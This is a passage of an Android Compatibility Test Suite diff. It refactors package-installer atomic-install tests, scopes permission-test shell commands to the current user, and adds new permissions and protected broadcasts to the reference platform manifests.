- final PackageInstaller.SessionParams childSessionParams =
- createSessionParams(/*staged*/false, /*multipackage*/false,
- /*enableRollback*/ false, /*inherit*/true);
- final int childSessionId =
- createSessionId("AtomicInstallTestAppAv1.apk", childSessionParams);
- parentSession.addChildSessionId(childSessionId);
- parentSession.commit(LocalIntentSender.getIntentSender());
+ Install childInstall = Install.single(TestApp.A1).setSessionMode(
+ PackageInstaller.SessionParams.MODE_INHERIT_EXISTING);
+ Install parentInstall = Install.multi(childInstall);
- final Intent intent = LocalIntentSender.getIntentSenderResult();
- assertStatusFailure(intent, "Missing existing base package");
- assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
+ InstallUtils.commitExpectingFailure(AssertionError.class, "Missing existing base package",
+ parentInstall);
+
+ assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
}
@Test
public void testEarlyFailureFailsAll() throws Exception {
- final PackageInstaller.SessionParams parentSessionParams =
- createSessionParams(/*staged*/false, /*multipackage*/true,
- /*enableRollback*/ false, /*inherit*/false);
- final int parentSessionId = createSessionId(/*apkFileName*/null, parentSessionParams);
- final PackageInstaller.Session parentSession = getSessionOrFail(parentSessionId);
- for (String apkFile : new String[]{
- TEST_APP_A_FILENAME, TEST_APP_B_FILENAME, TEST_APP_CORRUPT_FILENAME}) {
- final PackageInstaller.SessionParams childSessionParams =
- createSessionParams(/*staged*/false, /*multipackage*/false,
- /*enableRollback*/ false, /*inherit*/false);
- final int childSessionId =
- createSessionId(apkFile, childSessionParams);
- parentSession.addChildSessionId(childSessionId);
- }
- parentSession.commit(LocalIntentSender.getIntentSender());
-
- final Intent intent = LocalIntentSender.getIntentSenderResult();
- assertStatusFailure(intent, "Failed to parse");
- assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
- assertThat(getInstalledVersion(TEST_APP_B)).isEqualTo(-1);
+ InstallUtils.commitExpectingFailure(AssertionError.class, "Failed to parse",
+ Install.multi(TestApp.A1, TestApp.B1, CORRUPT_TESTAPP));
+ assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
+ assertThat(getInstalledVersion(TestApp.B)).isEqualTo(-1);
}
@Test
public void testInvalidStateScenarios() throws Exception {
- final PackageInstaller.SessionParams parentSessionParams =
- createSessionParams(/*staged*/false, /*multipackage*/true,
- /*enableRollback*/false, /*inherit*/ false);
- final int parentSessionId = createSessionId(/*apkFileName*/null, parentSessionParams);
- final PackageInstaller.Session parentSession = getSessionOrFail(parentSessionId);
+ int parentSessionId = Install.multi(TestApp.A1, TestApp.B1).createSession();
+ PackageInstaller.Session parentSession = openPackageInstallerSession(parentSessionId);
- final PackageInstaller.SessionParams childSessionParams =
- createSessionParams(/*staged*/false, /*multipackage*/false,
- /*enableRollback*/false, /*inherit*/ false);
- for (String apkFileName : new String[]{TEST_APP_A_FILENAME, TEST_APP_B_FILENAME}) {
- final int childSessionId = createSessionId(apkFileName, childSessionParams);
- parentSession.addChildSessionId(childSessionId);
- PackageInstaller.Session childSession = getSessionOrFail(childSessionId);
+ for (int childSessionId : parentSession.getChildSessionIds()) {
+ PackageInstaller.Session childSession = openPackageInstallerSession(childSessionId);
try {
childSession.commit(LocalIntentSender.getIntentSender());
fail("Should not be able to commit a child session!");
@@ -234,8 +158,8 @@
// ignore
}
}
- int toAbandonSessionId = createSessionId(TEST_APP_A_FILENAME, childSessionParams);
- PackageInstaller.Session toAbandonSession = getSessionOrFail(toAbandonSessionId);
+ int toAbandonSessionId = Install.single(TestApp.A1).createSession();
+ PackageInstaller.Session toAbandonSession = openPackageInstallerSession(toAbandonSessionId);
toAbandonSession.abandon();
try {
parentSession.addChildSessionId(toAbandonSessionId);
@@ -244,140 +168,19 @@
// ignore
}
- // Commit the session (this will start the installation workflow).
parentSession.commit(LocalIntentSender.getIntentSender());
assertStatusSuccess(LocalIntentSender.getIntentSenderResult());
}
- private static long getInstalledVersion(String packageName) {
- Context context = InstrumentationRegistry.getContext();
- PackageManager pm = context.getPackageManager();
- try {
- PackageInfo info = pm.getPackageInfo(packageName, 0);
- return info.getLongVersionCode();
- } catch (PackageManager.NameNotFoundException e) {
- return -1;
- }
+ private static void assertInconsistentStagedSettings(Install install) {
+ assertInconsistentSettings("inconsistent staged settings", install);
}
- private static void installMultiPackage(String... resources) throws Exception {
- final PackageInstaller.SessionParams parentSessionParams =
- createSessionParams(/*staged*/false, /*multipackage*/true,
- /*enableRollback*/false, /*inherit*/ false);
- final int parentSessionId = createSessionId(/*apkFileName*/null, parentSessionParams);
- final PackageInstaller.Session parentSession = getSessionOrFail(parentSessionId);
-
- ArrayList<Integer> childSessionIds = new ArrayList<>(resources.length);
- for (String apkFileName : resources) {
- final PackageInstaller.SessionParams childSessionParams =
- createSessionParams(/*staged*/false, /*multipackage*/false,
- /*enableRollback*/false, /*inherit*/ false);
- final int childSessionId = createSessionId(apkFileName, childSessionParams);
- childSessionIds.add(childSessionId);
- parentSession.addChildSessionId(childSessionId);
-
- PackageInstaller.Session childSession = getSessionOrFail(childSessionId);
- assertThat(childSession.getParentSessionId()).isEqualTo(parentSessionId);
- assertThat(getSessionInfoOrFail(childSessionId).getParentSessionId())
- .isEqualTo(parentSessionId);
- }
- assertThat(parentSession.getChildSessionIds()).asList().containsAllIn(childSessionIds);
- assertThat(getSessionInfoOrFail(parentSessionId).getChildSessionIds()).asList()
- .containsAllIn(childSessionIds);
-
- // Commit the session (this will start the installation workflow).
- parentSession.commit(LocalIntentSender.getIntentSender());
- assertStatusSuccess(LocalIntentSender.getIntentSenderResult());
+ private static void assertInconsistentRollbackSettings(Install install) {
+ assertInconsistentSettings("inconsistent rollback settings", install);
}
- private static PackageInstaller.SessionParams createSessionParams(
- boolean staged, boolean multiPackage, boolean enableRollback, boolean inherit) {
- final int sessionMode = inherit
- ? PackageInstaller.SessionParams.MODE_INHERIT_EXISTING
- : PackageInstaller.SessionParams.MODE_FULL_INSTALL;
- final PackageInstaller.SessionParams params =
- new PackageInstaller.SessionParams(sessionMode);
- if (staged) {
- params.setStaged();
- }
- if (multiPackage) {
- params.setMultiPackage();
- }
- params.setEnableRollback(enableRollback);
- return params;
- }
-
- private static int createSessionId(String apkFileName, PackageInstaller.SessionParams params)
- throws Exception {
- final PackageInstaller packageInstaller = InstrumentationRegistry.getContext()
- .getPackageManager().getPackageInstaller();
- final int sessionId = packageInstaller.createSession(params);
- if (apkFileName == null) {
- return sessionId;
- }
- final PackageInstaller.Session session = packageInstaller.openSession(sessionId);
- try (OutputStream packageInSession = session.openWrite(apkFileName, 0, -1);
- final InputStream is =
- AtomicInstallTest.class.getClassLoader().getResourceAsStream(
- apkFileName)) {
- final byte[] buffer = new byte[4096];
- int n;
- while ((n = is.read(buffer)) >= 0) {
- packageInSession.write(buffer, 0, n);
- }
- }
- return sessionId;
- }
-
- private static PackageInstaller.Session getSessionOrFail(int sessionId) throws Exception {
- final PackageInstaller packageInstaller = InstrumentationRegistry.getContext()
- .getPackageManager().getPackageInstaller();
- return packageInstaller.openSession(sessionId);
- }
-
- private static PackageInstaller.SessionInfo getSessionInfoOrFail(int sessionId)
- throws Exception {
- final PackageInstaller packageInstaller = InstrumentationRegistry.getContext()
- .getPackageManager().getPackageInstaller();
- return packageInstaller.getSessionInfo(sessionId);
- }
-
- private static void assertStatusSuccess(Intent result) {
- final int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
- PackageInstaller.STATUS_FAILURE);
- if (status == -1) {
- throw new AssertionError("PENDING USER ACTION");
- } else if (status > 0) {
- String message = result.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE);
- throw new AssertionError(message == null ? "UNKNOWN FAILURE" : message);
- }
- }
-
- private static void assertStatusFailure(Intent result, String errorMessage) {
- final int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
- PackageInstaller.STATUS_FAILURE);
- if (status == -1) {
- throw new AssertionError("PENDING USER ACTION");
- } else if (status == 0) {
- throw new AssertionError("Installation unexpectedly succeeded!");
- }
- final String message = result.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE);
- if (message == null || !message.contains(errorMessage)) {
- throw new AssertionError("Unexpected failure:" +
- (message == null ? "UNKNOWN" : message));
- }
- }
-
- private static void uninstall(String packageName) throws Exception {
- // No need to uninstall if the package isn't installed.
- if (getInstalledVersion(packageName) == -1) {
- return;
- }
-
- final PackageInstaller packageInstaller = InstrumentationRegistry.getContext()
- .getPackageManager().getPackageInstaller();
- packageInstaller.uninstall(packageName, LocalIntentSender.getIntentSender());
- // Don't care about status; this is just cleanup
- LocalIntentSender.getIntentSenderResult();
+ private static void assertInconsistentSettings(String failMessage, Install install) {
+ InstallUtils.commitExpectingFailure(AssertionError.class, failMessage, install);
}
}
diff --git a/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/LocalIntentSender.java b/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/LocalIntentSender.java
deleted file mode 100644
index e015cd8..0000000
--- a/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/LocalIntentSender.java
+++ /dev/null
@@ -1,55 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.tests.atomicinstall;
-
-import android.app.PendingIntent;
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentSender;
-
-import androidx.test.InstrumentationRegistry;
-
-import java.util.concurrent.BlockingQueue;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
-
-public class LocalIntentSender extends BroadcastReceiver {
- private static final BlockingQueue<Intent> sIntentSenderResults = new LinkedBlockingQueue<>();
-
- @Override
- public void onReceive(Context context, Intent intent) {
- sIntentSenderResults.add(intent);
- }
-
- /**
- * Get a LocalIntentSender.
- */
- static IntentSender getIntentSender() {
- Context context = InstrumentationRegistry.getContext();
- Intent intent = new Intent(context, LocalIntentSender.class);
- PendingIntent pending = PendingIntent.getBroadcast(context, 0, intent, 0);
- return pending.getIntentSender();
- }
-
- /**
- * Returns the most recent Intent sent by a LocalIntentSender.
- */
- static Intent getIntentSenderResult() throws InterruptedException {
- return sIntentSenderResults.poll(5, TimeUnit.SECONDS);
- }
-}
diff --git a/tests/tests/packageinstaller/atomicinstall/testdata/apk/Av1.xml b/tests/tests/packageinstaller/atomicinstall/testdata/apk/Av1.xml
deleted file mode 100644
index e3c8c28..0000000
--- a/tests/tests/packageinstaller/atomicinstall/testdata/apk/Av1.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<!--
- ~ Copyright (C) 2019 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License
- -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.tests.atomicinstall.testapp.A"
- android:versionCode="1"
- android:versionName="1.0" >
-
- <uses-sdk android:minSdkVersion="19" />
-
- <application android:label="AtomicInstall Test App A v1">
- <activity android:name="com.android.tests.atomicinstall.testapp.MainActivity">
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.LAUNCHER" />
- </intent-filter>
- </activity>
- </application>
-</manifest>
diff --git a/tests/tests/packageinstaller/atomicinstall/testdata/apk/Av2.xml b/tests/tests/packageinstaller/atomicinstall/testdata/apk/Av2.xml
deleted file mode 100644
index 34472a0..0000000
--- a/tests/tests/packageinstaller/atomicinstall/testdata/apk/Av2.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<!--
- ~ Copyright (C) 2019 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License
- -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.tests.atomicinstall.testapp.A"
- android:versionCode="2"
- android:versionName="2.0" >
-
- <uses-sdk android:minSdkVersion="19" />
-
- <application android:label="AtomicInstall Test App A v2">
- <activity android:name="com.android.tests.atomicinstall.testapp.MainActivity">
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.LAUNCHER" />
- </intent-filter>
- </activity>
- </application>
-</manifest>
diff --git a/tests/tests/packageinstaller/atomicinstall/testdata/apk/Bv1.xml b/tests/tests/packageinstaller/atomicinstall/testdata/apk/Bv1.xml
deleted file mode 100644
index dd5db42..0000000
--- a/tests/tests/packageinstaller/atomicinstall/testdata/apk/Bv1.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<!--
- ~ Copyright (C) 2019 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License
- -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.tests.atomicinstall.testapp.B"
- android:versionCode="1"
- android:versionName="1.0" >
-
- <uses-sdk android:minSdkVersion="19" />
-
- <application android:label="AtomicInstall Test App B v1">
- <activity android:name="com.android.tests.atomicinstall.testapp.MainActivity">
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.LAUNCHER" />
- </intent-filter>
- </activity>
- </application>
-</manifest>
diff --git a/tests/tests/packageinstaller/install/AndroidTest.xml b/tests/tests/packageinstaller/install/AndroidTest.xml
index baef287..2f499fb 100644
--- a/tests/tests/packageinstaller/install/AndroidTest.xml
+++ b/tests/tests/packageinstaller/install/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
<option name="run-command" value="mkdir -p /data/local/tmp/cts/packageinstaller" />
diff --git a/tests/tests/permission/permissionTestUtilLib/src/android/permission/cts/PermissionUtils.java b/tests/tests/permission/permissionTestUtilLib/src/android/permission/cts/PermissionUtils.java
index 5d492c6..cf26d44 100644
--- a/tests/tests/permission/permissionTestUtilLib/src/android/permission/cts/PermissionUtils.java
+++ b/tests/tests/permission/permissionTestUtilLib/src/android/permission/cts/PermissionUtils.java
@@ -237,7 +237,7 @@
* @param packageName Package to clear
*/
public static void clearAppState(@NonNull String packageName) {
- runShellCommand("pm clear " + packageName);
+ runShellCommand("pm clear --user current " + packageName);
}
/**
diff --git a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
index 0363394..4ecf5b6 100644
--- a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
+++ b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
@@ -250,7 +250,9 @@
* Force a run of the location check.
*/
private static void runLocationCheck() {
- runShellCommand("cmd jobscheduler run -f " + PERMISSION_CONTROLLER_PKG + " 0");
+ runShellCommand(
+ "cmd jobscheduler run -u " + android.os.Process.myUserHandle().getIdentifier()
+ + " -f " + PERMISSION_CONTROLLER_PKG + " 0");
}
/**
@@ -447,12 +449,16 @@
*/
private static void resetPermissionController() throws Throwable {
clearPackageData(PERMISSION_CONTROLLER_PKG);
+ int currentUserId = android.os.Process.myUserHandle().getIdentifier();
// Wait until jobs are cleared
eventually(() -> {
JobSchedulerServiceDumpProto dump = getJobSchedulerDump();
+
for (RegisteredJob job : dump.registeredJobs) {
- assertNotEquals(job.dump.sourcePackageName, PERMISSION_CONTROLLER_PKG);
+ if (job.dump.sourceUserId == currentUserId) {
+ assertNotEquals(job.dump.sourcePackageName, PERMISSION_CONTROLLER_PKG);
+ }
}
}, UNEXPECTED_TIMEOUT_MILLIS);
@@ -476,7 +482,8 @@
eventually(() -> {
JobSchedulerServiceDumpProto dump = getJobSchedulerDump();
for (RegisteredJob job : dump.registeredJobs) {
- if (job.dump.sourcePackageName.equals(PERMISSION_CONTROLLER_PKG)) {
+ if (job.dump.sourceUserId == currentUserId
+ && job.dump.sourcePackageName.equals(PERMISSION_CONTROLLER_PKG)) {
return;
}
}
diff --git a/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp
index 52b28cd..6ee6120 100644
--- a/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp
@@ -24,5 +24,6 @@
"cts",
"vts",
"general-tests",
+ "cts_instant",
]
}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp
index e38cfd2..63c2a14 100644
--- a/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp
@@ -24,5 +24,6 @@
"cts",
"vts",
"general-tests",
+ "cts_instant",
]
}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp
index a8c8d1a..50ac715 100644
--- a/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp
@@ -24,5 +24,6 @@
"cts",
"vts",
"general-tests",
+ "cts_instant",
]
}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp
index 14087ec..78068f9 100644
--- a/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp
@@ -24,5 +24,6 @@
"cts",
"vts",
"general-tests",
+ "cts_instant",
]
}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsLocationPermissionsUserSdk22/Android.bp b/tests/tests/permission2/CtsLocationPermissionsUserSdk22/Android.bp
index 9d859bc..35ab9e4 100644
--- a/tests/tests/permission2/CtsLocationPermissionsUserSdk22/Android.bp
+++ b/tests/tests/permission2/CtsLocationPermissionsUserSdk22/Android.bp
@@ -24,6 +24,7 @@
"cts",
"vts",
"general-tests",
+ "cts_instant",
],
// TODO: Uncomment when uncommenting the test
diff --git a/tests/tests/permission2/CtsLocationPermissionsUserSdk29/Android.bp b/tests/tests/permission2/CtsLocationPermissionsUserSdk29/Android.bp
index ed0f872..3804b92 100644
--- a/tests/tests/permission2/CtsLocationPermissionsUserSdk29/Android.bp
+++ b/tests/tests/permission2/CtsLocationPermissionsUserSdk29/Android.bp
@@ -24,6 +24,7 @@
"cts",
"vts",
"general-tests",
+ "cts_instant",
],
// TODO: Uncomment when uncommenting the test
diff --git a/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk22/Android.bp b/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk22/Android.bp
index 402c57b..0fe3599 100644
--- a/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk22/Android.bp
+++ b/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk22/Android.bp
@@ -24,6 +24,7 @@
"cts",
"vts",
"general-tests",
+ "cts_instant",
],
// TODO: Uncomment when uncommenting the test
diff --git a/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk29/Android.bp b/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk29/Android.bp
index 9d4ab2a..a0189ad 100644
--- a/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk29/Android.bp
+++ b/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk29/Android.bp
@@ -24,6 +24,7 @@
"cts",
"vts",
"general-tests",
+ "cts_instant",
],
// TODO: Uncomment when uncommenting the test
diff --git a/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp b/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp
index 591fdbc..9806571 100644
--- a/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp
@@ -24,5 +24,6 @@
"cts",
"vts",
"general-tests",
+ "cts_instant",
]
}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp b/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp
index 71ebd69..ec6d128 100644
--- a/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp
@@ -24,5 +24,6 @@
"cts",
"vts",
"general-tests",
+ "cts_instant",
]
}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk22/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk22/Android.bp
index 26cfff85..f63f14a 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk22/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk22/Android.bp
@@ -22,5 +22,6 @@
"cts",
"vts",
"general-tests",
+ "cts_instant",
]
}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk28/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk28/Android.bp
index b4114dc..be2761a 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk28/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk28/Android.bp
@@ -22,5 +22,6 @@
"cts",
"vts",
"general-tests",
+ "cts_instant",
]
}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk29/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk29/Android.bp
index 8af2212..eb77c12 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk29/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk29/Android.bp
@@ -24,5 +24,6 @@
"cts",
"vts",
"general-tests",
+ "cts_instant",
]
}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk22/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk22/Android.bp
index 045a26f..b7f40bf 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk22/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk22/Android.bp
@@ -22,5 +22,6 @@
"cts",
"vts",
"general-tests",
+ "cts_instant",
]
}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk28/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk28/Android.bp
index fb36759..63062c1 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk28/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk28/Android.bp
@@ -22,5 +22,6 @@
"cts",
"vts",
"general-tests",
+ "cts_instant",
]
}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserOptOutSdk29/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserOptOutSdk29/Android.bp
index 4b57927..9d6a481 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserOptOutSdk29/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserOptOutSdk29/Android.bp
@@ -24,5 +24,6 @@
"cts",
"vts",
"general-tests",
+ "cts_instant",
]
}
\ No newline at end of file
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index 52e6dc4..7fc29e2 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -107,6 +107,8 @@
<protected-broadcast android:name="android.app.action.ENTER_CAR_MODE" />
<protected-broadcast android:name="android.app.action.EXIT_CAR_MODE" />
+ <protected-broadcast android:name="android.app.action.ENTER_CAR_MODE_PRIORITIZED" />
+ <protected-broadcast android:name="android.app.action.EXIT_CAR_MODE_PRIORITIZED" />
<protected-broadcast android:name="android.app.action.ENTER_DESK_MODE" />
<protected-broadcast android:name="android.app.action.EXIT_DESK_MODE" />
<protected-broadcast android:name="android.app.action.NEXT_ALARM_CLOCK_CHANGED" />
@@ -1551,6 +1553,14 @@
<permission android:name="android.permission.NETWORK_STACK"
android:protectionLevel="signature" />
+ <!-- @SystemApi @hide Allows an application to observe network policy changes. -->
+ <permission android:name="android.permission.OBSERVE_NETWORK_POLICY"
+ android:protectionLevel="signature" />
+
+ <!-- @SystemApi @hide Allows applications to register network factory or agent -->
+ <permission android:name="android.permission.NETWORK_FACTORY"
+ android:protectionLevel="signature" />
+
<!-- Allows Settings and SystemUI to call methods in Networking services
<p>Not for use by third-party or privileged applications.
@hide This should only be used by Settings and SystemUI.
@@ -1780,6 +1790,13 @@
android:description="@string/permdesc_vibrate"
android:protectionLevel="normal|instant" />
+ <!-- Allows access to the vibrator always-on settings.
+ <p>Protection level: signature
+ @hide
+ -->
+ <permission android:name="android.permission.VIBRATE_ALWAYS_ON"
+ android:protectionLevel="signature" />
+
<!-- Allows using PowerManager WakeLocks to keep processor from sleeping or screen
from dimming.
<p>Protection level: normal
@@ -1942,6 +1959,11 @@
<!-- =========================================== -->
<eat-comment />
+ <!-- @SystemApi Allows granting runtime permissions to telephony related components.
+ @hide Used internally. -->
+ <permission android:name="android.permission.GRANT_RUNTIME_PERMISSIONS_TO_TELEPHONY_DEFAULTS"
+ android:protectionLevel="signature|telephony" />
+
<!-- Allows modification of the telephony state - power on, mmi, etc.
Does not include placing calls.
<p>Not for use by third-party applications. -->
@@ -4276,6 +4298,21 @@
<permission android:name="android.permission.MODIFY_DAY_NIGHT_MODE"
android:protectionLevel="signature|privileged" />
+ <!-- @SystemApi Allows entering or exiting car mode using a specified priority.
+ This permission is required to use UiModeManager while specifying a priority for the calling
+ app. A device manufacturer uses this permission to prioritize the apps which can
+ potentially request to enter car-mode on a device to help establish the correct behavior
+ where multiple such apps are active at the same time.
+ @hide -->
+ <permission android:name="android.permission.ENTER_CAR_MODE_PRIORITIZED"
+ android:protectionLevel="signature|privileged" />
+
+ <!-- @SystemApi Required to receive ACTION_ENTER_CAR_MODE_PRIVILEGED or
+ ACTION_EXIT_CAR_MODE_PRIVILEGED.
+ @hide -->
+ <permission android:name="android.permission.HANDLE_CAR_MODE_CHANGES"
+ android:protectionLevel="signature|privileged" />
+
<!-- The system process is explicitly the only one allowed to launch the
confirmation UI for full backup/restore -->
<uses-permission android:name="android.permission.CONFIRM_FULL_BACKUP"/>
diff --git a/tests/tests/permission2/res/raw/automotive_android_manifest.xml b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
index fac0789..dac484b 100644
--- a/tests/tests/permission2/res/raw/automotive_android_manifest.xml
+++ b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
@@ -281,6 +281,12 @@
android:label="@string/car_permission_label_enroll_trust"
android:description="@string/car_permission_desc_enroll_trust" />
+ <permission
+ android:name="android.car.permission.CAR_TEST_SERVICE"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_car_test_service"
+ android:description="@string/car_permission_desc_car_test_service" />
+
<uses-permission android:name="android.permission.CALL_PHONE" />
<uses-permission android:name="android.permission.DEVICE_POWER" />
<uses-permission android:name="android.permission.GRANT_RUNTIME_PERMISSIONS" />
diff --git a/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java b/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
index 197e73d..4195add 100644
--- a/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
@@ -84,7 +84,6 @@
"android.intent.action.SIM_STATE_CHANGED",
"android.intent.action.DATA_CONNECTION_FAILED",
"android.intent.action.NETWORK_SET_TIME",
- "android.intent.action.NETWORK_SET_TIMEZONE",
"android.telephony.action.SUBSCRIPTION_CARRIER_IDENTITY_CHANGED",
